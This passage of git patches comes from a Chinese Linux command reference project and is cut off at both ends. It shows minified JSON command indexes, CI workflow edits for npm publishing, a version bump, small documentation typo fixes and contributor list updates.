Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 442469faff612fec6af345e01d14182cd762b88e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 22:00:35 +0800 Subject: [PATCH 0641/1019] chore: update workflows config. --- .github/workflows/ci.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 8d362975c73..c9cb877e3f3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -12,6 +12,7 @@ jobs: - uses: actions/setup-node@v3 with: node-version: 16 + registry-url: 'https://registry.npmjs.org' - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main @@ -126,6 +127,12 @@ jobs: npm install @jsdevtools/npm-publish -g npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json + - run: npm publish + continue-on-error: true + name: 📦 linux-command publish to NPM + env: + NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}} + # Create Docker Image - name: Set up Docker Buildx uses: docker/setup-buildx-action@v2 From b1402763e222ec90fffdb4cd83566fa9b5ecd651 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 22:03:15 +0800 Subject: [PATCH 0642/1019] released v1.14.0 --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index fe25adb0d02..242fbe5bd2b 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.13.1", + "version": "1.14.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 2075046db498d2881db16a72b1497ac136b0d2ab Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Fri, 24 Feb 2023 22:06:25 +0800 Subject: [PATCH 0643/1019] chore: update workflows config. --- .github/workflows/ci.yml | 5 ----- 1 file changed, 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index c9cb877e3f3..1c31a07f603 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -122,11 +122,6 @@ jobs: http://localhost:9665/ ``` - - name: Push Npm - run: | - npm install @jsdevtools/npm-publish -g - npm-publish --token="${{ secrets.NPM_TOKEN }}" ./package.json - - run: npm publish continue-on-error: true name: 📦 linux-command publish to NPM From 102422c5d08e1ea23983515cf8933645815d084c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E8=B0=88=E7=AC=91=E9=A3=8E=E7=94=9F=E9=97=B4?= Date: Sun, 26 Feb 2023 22:25:36 +0800 Subject: [PATCH 0644/1019] doc: update su.md (#473) --- command/su.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/su.md b/command/su.md index dc7a2676858..1396594ac37 100644 --- a/command/su.md +++ b/command/su.md @@ -46,7 +46,7 @@ su root -f 变更帐号为test并改变工作目录至test的家目录： ```shell -su -test +su - test ``` From 6a54daf7dda971ce219e84e4c8ed74fca08a41be Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 26 Feb 2023 14:26:06 +0000 Subject: [PATCH 0645/1019] doc: update README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 85c8c05a7a8..cabd1ef7668 100644 --- a/README.md +++ b/README.md @@ -406,6 +406,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ernest + + 谈笑风生间 + Ein Verne @@ -430,9 +433,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell - - 谈笑风生间 - DaYangtuo247 From b27085013f0bbf4be576a458757b344eb4070a78 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 26 Feb 2023 14:26:07 +0000 Subject: [PATCH 0646/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 7dff4ba435d..924087a7325 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -69,6 +69,9 @@ ernest + + 谈笑风生间 + Ein Verne @@ -93,9 +96,6 @@ Shell - - 谈笑风生间 - DaYangtuo247 From f7d88a976fa74948e5050df19d67f9e5ae8d81cc Mon Sep 17 00:00:00 2001 From: Jeremy2214 <97098763+Jeremy2214@users.noreply.github.com> Date: Thu, 2 Mar 2023 10:26:49 +0800 Subject: [PATCH 0647/1019] doc: Update curl.md (#474) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 修改错别字 ”祝一臂之力“修改成”助一臂之力“ --- command/curl.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/curl.md b/command/curl.md index b263ae5f548..10ae30983d1 100644 --- a/command/curl.md +++ b/command/curl.md @@ -5,7 +5,7 @@ curl ## 补充说明 -**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载，所以是综合传输工具，但按传统，习惯称curl为下载工具。作为一款强力工具，curl支持包括HTTP、HTTPS、ftp等众多协议，还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化，curl可以祝一臂之力。 +**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载，所以是综合传输工具，但按传统，习惯称curl为下载工具。作为一款强力工具，curl支持包括HTTP、HTTPS、ftp等众多协议，还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化，curl可以助一臂之力。 ### 语法 From fe09c2f8c4e3c13798a6aef4baac1de315bc6cde Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Mar 2023 02:27:41 +0000 Subject: [PATCH 0648/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index cabd1ef7668..fe1ceda4c60 100644 --- a/README.md +++ b/README.md @@ -463,6 +463,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Jack.A.Black + + Jeremy2214 + LaudOak From f85e848ba82a091e96dfe1f812da9f3f894b3ee6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 2 Mar 2023 02:27:42 +0000 Subject: [PATCH 0649/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 924087a7325..30844553b9c 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -126,6 +126,9 @@ Jack.A.Black + + Jeremy2214 + LaudOak From d6290e9659efb03305c36ad50007b3fbc74af455 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 8 Mar 2023 21:13:47 +0800 Subject: [PATCH 0650/1019] doc: Update zip.md --- command/zip.md | 1 + 1 file changed, 1 insertion(+) diff --git a/command/zip.md b/command/zip.md index d0aa8a8b44c..dba048c88a8 100644 --- a/command/zip.md +++ b/command/zip.md @@ -11,6 +11,7 @@ zip ```shell zip(选项)(参数) +zip [-选项] [-b 路径] [-t 日期] [-n 后缀名] [压缩文件列表] [-xi 列表] ``` ### 选项 From b6e2cd831ef94930e04b19137c127a536d4948cd Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 9 Mar 2023 11:10:08 +0800 Subject: [PATCH 0651/1019] chore(deps): update dependency colors-cli to ~1.0.31 --- dist/data.json | 4 ++-- dist/data.min.json | 2 +- package.json | 2 +- scripts/build.mjs | 2 +- 4 files changed, 5 insertions(+), 5 deletions(-) diff --git a/dist/data.json b/dist/data.json index 3ef2f5c55fb..44787d5211f 100644 --- a/dist/data.json +++ b/dist/data.json @@ -2274,8 +2274,8 @@ "p": "/slocate", "d": "命令查找文件或目录" }, - "Smartmontools": { - "n": "Smartmontools", + "smartmontools": { + "n": "smartmontools", "p": "/smartmontools", "d": "Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的" }, diff --git a/dist/data.min.json b/dist/data.min.json index f7f51b2886d..2d0cb83064c 100644 --- a/dist/data.min.json +++ b/dist/data.min.json @@ -1 +1 @@ -{"7z":{"n":"7z","p":"/7z","d":"拥有极高压缩比的开源压缩软件。"},"ab":{"n":"ab","p":"/ab","d":"Apache服务器的性能测试工具"},"accept":{"n":"accept","p":"/accept","d":"指示打印系统接受发往指定目标打印机的打印任务"},"ack":{"n":"ack","p":"/ack","d":"比grep好用的文本搜索工具"},"ag":{"n":"ag","p":"/ag","d":"ack 的升级版，C语言编写，更快更人性化"},"alias":{"n":"alias","p":"/alias","d":"定义或显示别名。"},"apachectl":{"n":"apachectl","p":"/apachectl","d":"Apache服务器前端控制工具"},"apk":{"n":"apk","p":"/apk","d":"Alpine Linux 下的包管理工具"},"apropos":{"n":"apropos","p":"/apropos","d":"在 whatis 数据库中查找字符串"},"apt-get":{"n":"apt-get","p":"/apt-get","d":"Debian Linux发行版中的APT软件包管理工具"},"apt-key":{"n":"apt-key","p":"/apt-key","d":"管理Debian Linux系统中的软件包密钥"},"apt-sortpkgs":{"n":"apt-sortpkgs","p":"/apt-sortpkgs","d":"Debian Linux下对软件包索引文件进行排序的工具"},"aptitude":{"n":"aptitude","p":"/aptitude","d":"Debian Linux系统中软件包管理工具"},"ar":{"n":"ar","p":"/ar","d":"建立或修改备存文件，或是从备存文件中抽取文件"},"arch":{"n":"arch","p":"/arch","d":"显示当前主机的硬件架构类型"},"arj":{"n":"arj","p":"/arj","d":"用于创建和管理.arj压缩包"},"arp":{"n":"arp","p":"/arp","d":"arp 命令用于显示和修改 IP 到 MAC 转换表"},"arpd":{"n":"arpd","p":"/arpd","d":"收集免费ARP信息"},"arping":{"n":"arping","p":"/arping","d":"通过发送ARP协议报文测试网络"},"arptables":{"n":"arptables","p":"/arptables","d":"管理ARP包过滤规则表"},"arpwatch":{"n":"arpwatch","p":"/arpwatch","d":"监听网络上ARP的记录"},"as":{"n":"as","p":"/as","d":"汇编语言编译器"},"at":{"n":"at","p":"/at","d":"在指定时间执行一个任务"},"atop":{"n":"atop","p":"/atop","d":"监控Linux系统资源与进程的工具"},"atq":{"n":"atq","p":"/atq","d":"列出当前用户的at任务列表"},"atrm":{"n":"atrm","p":"/atrm","d":"删除待执行任务队列中的指定任务"},"awk":{"n":"awk","p":"/awk","d":"文本和数据进行处理的编程语言"},"axel":{"n":"axel","p":"/axel","d":"多线程下载工具"},"badblocks":{"n":"badblocks","p":"/badblocks","d":"查找磁盘中损坏的区块"},"base64":{"n":"base64","p":"/base64","d":"base64 编码/解码文件或标准输入输出"},"basename":{"n":"basename","p":"/basename","d":"打印目录或者文件的基本名称"},"batch":{"n":"batch","p":"/batch","d":"在系统不繁忙的时候执行定时任务"},"bc":{"n":"bc","p":"/bc","d":"算术操作精密运算工具"},"bg":{"n":"bg","p":"/bg","d":"将前台终端作业移动到后台运行"},"bind":{"n":"bind","p":"/bind","d":"显示或设置键盘按键与其相关的功能"},"blkid":{"n":"blkid","p":"/blkid","d":"查看块设备的文件系统类型、LABEL、UUID等信息"},"blockdev":{"n":"blockdev","p":"/blockdev","d":"从命令行调用区块设备控制程序"},"bmodinfo":{"n":"bmodinfo","p":"/bmodinfo","d":"显示给定模块的详细信息"},"break":{"n":"break","p":"/break","d":"结束for，while或until循环。"},"builtin":{"n":"builtin","p":"/builtin","d":"执行bash内建命令。"},"bunzip2":{"n":"bunzip2","p":"/bunzip2","d":"可解压缩.bz2格式的压缩文件。 "},"bye":{"n":"bye","p":"/bye","d":"命令用于中断FTP连线并结束程序"},"bzcat":{"n":"bzcat","p":"/bzcat","d":"不解压，直接查看指定的.bz2文件"},"bzcmp":{"n":"bzcmp","p":"/bzcmp","d":"比较两个压缩包中的文件"},"bzdiff":{"n":"bzdiff","p":"/bzdiff","d":"直接比较两个.bz2压缩包中文件的不同"},"bzgrep":{"n":"bzgrep","p":"/bzgrep","d":"使用正则表达式搜索.bz2压缩包中文件"},"bzip2":{"n":"bzip2","p":"/bzip2","d":"将文件压缩成bz2格式"},"bzip2recover":{"n":"bzip2recover","p":"/bzip2recover","d":"恢复被破坏的.bz2压缩包中的文件"},"bzless":{"n":"bzless","p":"/bzless","d":"增强.bz2压缩包查看器"},"bzmore":{"n":"bzmore","p":"/bzmore","d":"查看bzip2压缩过的文本文件的内容"},"cal":{"n":"cal","p":"/cal","d":"显示当前日历或指定日期的日历"},"cancel":{"n":"cancel","p":"/cancel","d":"取消已存在的打印任务"},"cat":{"n":"cat","p":"/cat","d":"连接多个文件并打印到标准输出。"},"cd":{"n":"cd","p":"/cd","d":"切换用户当前工作目录。"},"cdrecord":{"n":"cdrecord","p":"/cdrecord","d":"Linux系统下光盘刻录功能命令"},"chage":{"n":"chage","p":"/chage","d":"修改帐号和密码的有效期限"},"chattr":{"n":"chattr","p":"/chattr","d":"用来改变文件属性"},"chcon":{"n":"chcon","p":"/chcon","d":"修改对象（文件）的安全上下文"},"chfn":{"n":"chfn","p":"/chfn","d":"用来改变finger命令显示的信息"},"chgrp":{"n":"chgrp","p":"/chgrp","d":"用来变更文件或目录的所属群组"},"chkconfig":{"n":"chkconfig","p":"/chkconfig","d":"检查或设置系统的各种服务"},"chmod":{"n":"chmod","p":"/chmod","d":"用来变更文件或目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 RTC 时间"},"clockdiff":{"n":"clockdiff","p":"/clockdiff","d":"检测两台linux主机的时间差"},"cmp":{"n":"cmp","p":"/cmp","d":"比较两个文件是否有差异"},"col":{"n":"col","p":"/col","d":"过滤控制字符"},"colrm":{"n":"colrm","p":"/colrm","d":"删除文件中的指定列"},"comm":{"n":"comm","p":"/comm","d":"按行比较两个已排序的文件。"},"command":{"n":"command","p":"/command","d":"调用并执行指定的命令"},"compress":{"n":"compress","p":"/compress","d":"使用Lempress-Ziv编码压缩数据文件"},"consoletype":{"n":"consoletype","p":"/consoletype","d":"输出已连接的终端类型"},"continue":{"n":"continue","p":"/continue","d":"结束本次循环，继续执行下一个for，while或until循环。"},"convertquota":{"n":"convertquota","p":"/convertquota","d":"把老的配额文件转换为新的格式"},"cp":{"n":"cp","p":"/cp","d":"将源文件或目录复制到目标文件或目录中"},"cpio":{"n":"cpio","p":"/cpio","d":"用来建立、还原备份档的工具程序"},"crontab":{"n":"crontab","p":"/crontab","d":"提交和管理用户的需要周期性执行的任务"},"csplit":{"n":"csplit","p":"/csplit","d":"将一个大文件分割成小的碎片文件"},"cu":{"n":"cu","p":"/cu","d":"用于连接另一个系统主机"},"cupsdisable":{"n":"cupsdisable","p":"/cupsdisable","d":"停止指定的打印机"},"cupsenable":{"n":"cupsenable","p":"/cupsenable","d":"启动指定的打印机"},"curl":{"n":"curl","p":"/curl","d":"利用URL规则在命令行下工作的文件传输工具"},"cut":{"n":"cut","p":"/cut","d":"连接文件并打印到标准输出设备上"},"date":{"n":"date","p":"/date","d":"显示或设置系统时间与日期"},"dc":{"n":"dc","p":"/dc","d":"任意精度计算器"},"dd":{"n":"dd","p":"/dd","d":"复制文件并对原文件的内容进行转换和格式化处理"},"declare":{"n":"declare","p":"/declare","d":"声明变量，设置或显示变量的值和属性。"},"depmod":{"n":"depmod","p":"/depmod","d":"分析可载入模块的相依性"},"df":{"n":"df","p":"/df","d":"显示磁盘的相关信息"},"dhclient":{"n":"dhclient","p":"/dhclient","d":"动态获取或释放IP地址"},"dhcpd":{"n":"dhcpd","p":"/dhcpd","d":"运行DHCP服务器"},"dhcrelay":{"n":"dhcrelay","p":"/dhcrelay","d":"使用dhcrelay命令可以提供中继DHCP和BOOTP请求"},"diff":{"n":"diff","p":"/diff","d":"比较给定的两个文件的不同"},"diff3":{"n":"diff3","p":"/diff3","d":"比较3个文件不同的地方"},"diffstat":{"n":"diffstat","p":"/diffstat","d":"显示diff命令输出信息的柱状图"},"dig":{"n":"dig","p":"/dig","d":"域名查询工具"},"dircolors":{"n":"dircolors","p":"/dircolors","d":"置ls命令在显示目录或文件时所用的色彩"},"dirname":{"n":"dirname","p":"/dirname","d":"去除文件名中的非目录部分"},"dirs":{"n":"dirs","p":"/dirs","d":"显示目录堆栈。"},"disown":{"n":"disown","p":"/disown","d":"从当前的shell中移除作业。"},"dmesg":{"n":"dmesg","p":"/dmesg","d":"显示Linux系统启动信息"},"dmidecode":{"n":"dmidecode","p":"/dmidecode","d":"在Linux系统下获取有关硬件方面的信息"},"dnf":{"n":"dnf","p":"/dnf","d":"新一代的RPM软件包管理器"},"dnsdomainname":{"n":"dnsdomainname","p":"/dnsdomainname","d":"定义DNS系统中FQDN名称的域名"},"domainname":{"n":"domainname","p":"/domainname","d":"显示和设置系统的NIS域名"},"dos2unix":{"n":"dos2unix","p":"/dos2unix","d":"将DOS格式文本文件转换成Unix格式"},"dpkg-deb":{"n":"dpkg-deb","p":"/dpkg-deb","d":"Debian Linux下的软件包管理工具"},"dpkg-divert":{"n":"dpkg-divert","p":"/dpkg-divert","d":"Debian Linux中创建并管理一个转向列表"},"dpkg-preconfigure":{"n":"dpkg-preconfigure","p":"/dpkg-preconfigure","d":"Debian Linux中软件包安装之前询问问题"},"dpkg-query":{"n":"dpkg-query","p":"/dpkg-query","d":"Debian Linux中软件包的查询工具"},"dpkg-reconfigure":{"n":"dpkg-reconfigure","p":"/dpkg-reconfigure","d":"Debian Linux中重新配制一个已经安装的软件包"},"dpkg-split":{"n":"dpkg-split","p":"/dpkg-split","d":"Debian Linux中将大软件包分割成小包"},"dpkg-statoverride":{"n":"dpkg-statoverride","p":"/dpkg-statoverride","d":"Debian Linux中覆盖文件的所有权和模式"},"dpkg-trigger":{"n":"dpkg-trigger","p":"/dpkg-trigger","d":"Debian Linux下的软件包触发器"},"dpkg":{"n":"dpkg","p":"/dpkg","d":"Debian Linux系统上安装、创建和管理软件包"},"dris":{"n":"dris","p":"/dris","d":"显示和清空目录堆栈中的内容"},"dstat":{"n":"dstat","p":"/dstat","d":"通用的系统资源统计工具"},"du":{"n":"du","p":"/du","d":"显示每个文件和目录的磁盘使用空间"},"dump":{"n":"dump","p":"/dump","d":"用于备份ext2或者ext3文件系统"},"e2fsck":{"n":"e2fsck","p":"/e2fsck","d":"用于检查第二扩展文件系统的完整性"},"e2label":{"n":"e2label","p":"/e2label","d":"设置第二扩展文件系统的卷标"},"echo":{"n":"echo","p":"/echo","d":"输出指定的字符串或者变量"},"ed":{"n":"ed","p":"/ed","d":"单行纯文本编辑器"},"edquota":{"n":"edquota","p":"/edquota","d":"用于编辑指定用户或工作组磁盘配额"},"egrep":{"n":"egrep","p":"/egrep","d":"在文件内查找指定的字符串"},"eject":{"n":"eject","p":"/eject","d":"用来退出抽取式设备"},"elinks":{"n":"elinks","p":"/elinks","d":"纯文本界面的WWW浏览器"},"elm":{"n":"elm","p":"/elm","d":"纯文本邮件客户端程序"},"emacs":{"n":"emacs","p":"/emacs","d":"功能强大的全屏文本编辑器"},"enable":{"n":"enable","p":"/enable","d":"启动或禁用shell内建命令"},"env":{"n":"env","p":"/env","d":"显示系统中已存在的环境变量"},"ethtool":{"n":"ethtool","p":"/ethtool","d":"显示或修改以太网卡的配置信息"},"ex":{"n":"ex","p":"/ex","d":"启动vim编辑器的ex编辑模式"},"exec":{"n":"exec","p":"/exec","d":"调用并执行指定的命令"},"exit":{"n":"exit","p":"/exit","d":"退出当前的shell。"},"expand":{"n":"expand","p":"/expand","d":"将文件的制表符转换为空白字符"},"export":{"n":"export","p":"/export","d":"为shell变量或函数设置导出属性。"},"exportfs":{"n":"exportfs","p":"/exportfs","d":"管理NFS共享文件系统列表"},"expr":{"n":"expr","p":"/expr","d":"一款表达式计算工具"},"false":{"n":"false","p":"/false","d":"返回状态为失败。"},"fc":{"n":"fc","p":"/fc","d":"显示历史列表中的命令或修改指定的历史命令并执行。"},"fdisk":{"n":"fdisk","p":"/fdisk","d":"查看磁盘使用情况和磁盘分区"},"fg":{"n":"fg","p":"/fg","d":"将后台作业移动到前台终端运行"},"fgrep":{"n":"fgrep","p":"/fgrep","d":"为文件搜索文字字符串"},"file":{"n":"file","p":"/file","d":"用来探测给定文件的类型"},"find":{"n":"find","p":"/find","d":"在指定目录下查找文件"},"findfs":{"n":"findfs","p":"/findfs","d":"标签或UUID查找文件系统"},"finger":{"n":"finger","p":"/finger","d":"用于查找并显示用户信息"},"firewall-cmd":{"n":"firewall-cmd","p":"/firewall-cmd","d":"Linux上新用的防火墙软件，跟iptables差不多的工具"},"fishshell":{"n":"fishshell","p":"/fishshell","d":"比 bash 更好用的 shell"},"fmt":{"n":"fmt","p":"/fmt","d":"读取文件后优化处理并输出"},"fold":{"n":"fold","p":"/fold","d":"控制文件内容输出时所占用的屏幕宽度"},"fping":{"n":"fping","p":"/fping","d":"fping检测主机是否存在"},"free":{"n":"free","p":"/free","d":"显示内存的使用情况"},"fsck":{"n":"fsck","p":"/fsck","d":"fsck（英文全拼：file system check）命令检查并且试图修复文件系统中的错误"},"ftp":{"n":"ftp","p":"/ftp","d":"用来设置文件系统相关功能"},"ftpcount":{"n":"ftpcount","p":"/ftpcount","d":"显示目前已FTP登入的用户人数"},"ftpshut":{"n":"ftpshut","p":"/ftpshut","d":"在指定的时间关闭FTP服务器"},"ftptop":{"n":"ftptop","p":"/ftptop","d":"proftpd服务器的连接状态"},"ftpwho":{"n":"ftpwho","p":"/ftpwho","d":"显示当前每个ftp会话信息"},"fuser":{"n":"fuser","p":"/fuser","d":"使用文件或文件结构识别进程"},"gcc":{"n":"gcc","p":"/gcc","d":"基于C/C++的编译器"},"gcov":{"n":"gcov","p":"/gcov","d":"测试程序的代码覆盖率的工具"},"gdb":{"n":"gdb","p":"/gdb","d":"功能强大的程序调试器"},"get_module":{"n":"get_module","p":"/get_module","d":"获取Linux内核模块的详细信息"},"getenforce":{"n":"getenforce","p":"/getenforce","d":"显示当前SELinux的应用模式，是强制、执行还是停用"},"getsebool":{"n":"getsebool","p":"/getsebool","d":"查询SElinux策略内各项规则的布尔值"},"git":{"n":"git","p":"/git","d":"是目前世界上最先进的分布式版本控制系统"},"gpasswd":{"n":"gpasswd","p":"/gpasswd","d":"Linux下工作组文件的管理工具"},"gpm":{"n":"gpm","p":"/gpm","d":"提供文字模式下的滑鼠事件处理"},"grep":{"n":"grep","p":"/grep","d":"强大的文本搜索工具"},"groupadd":{"n":"groupadd","p":"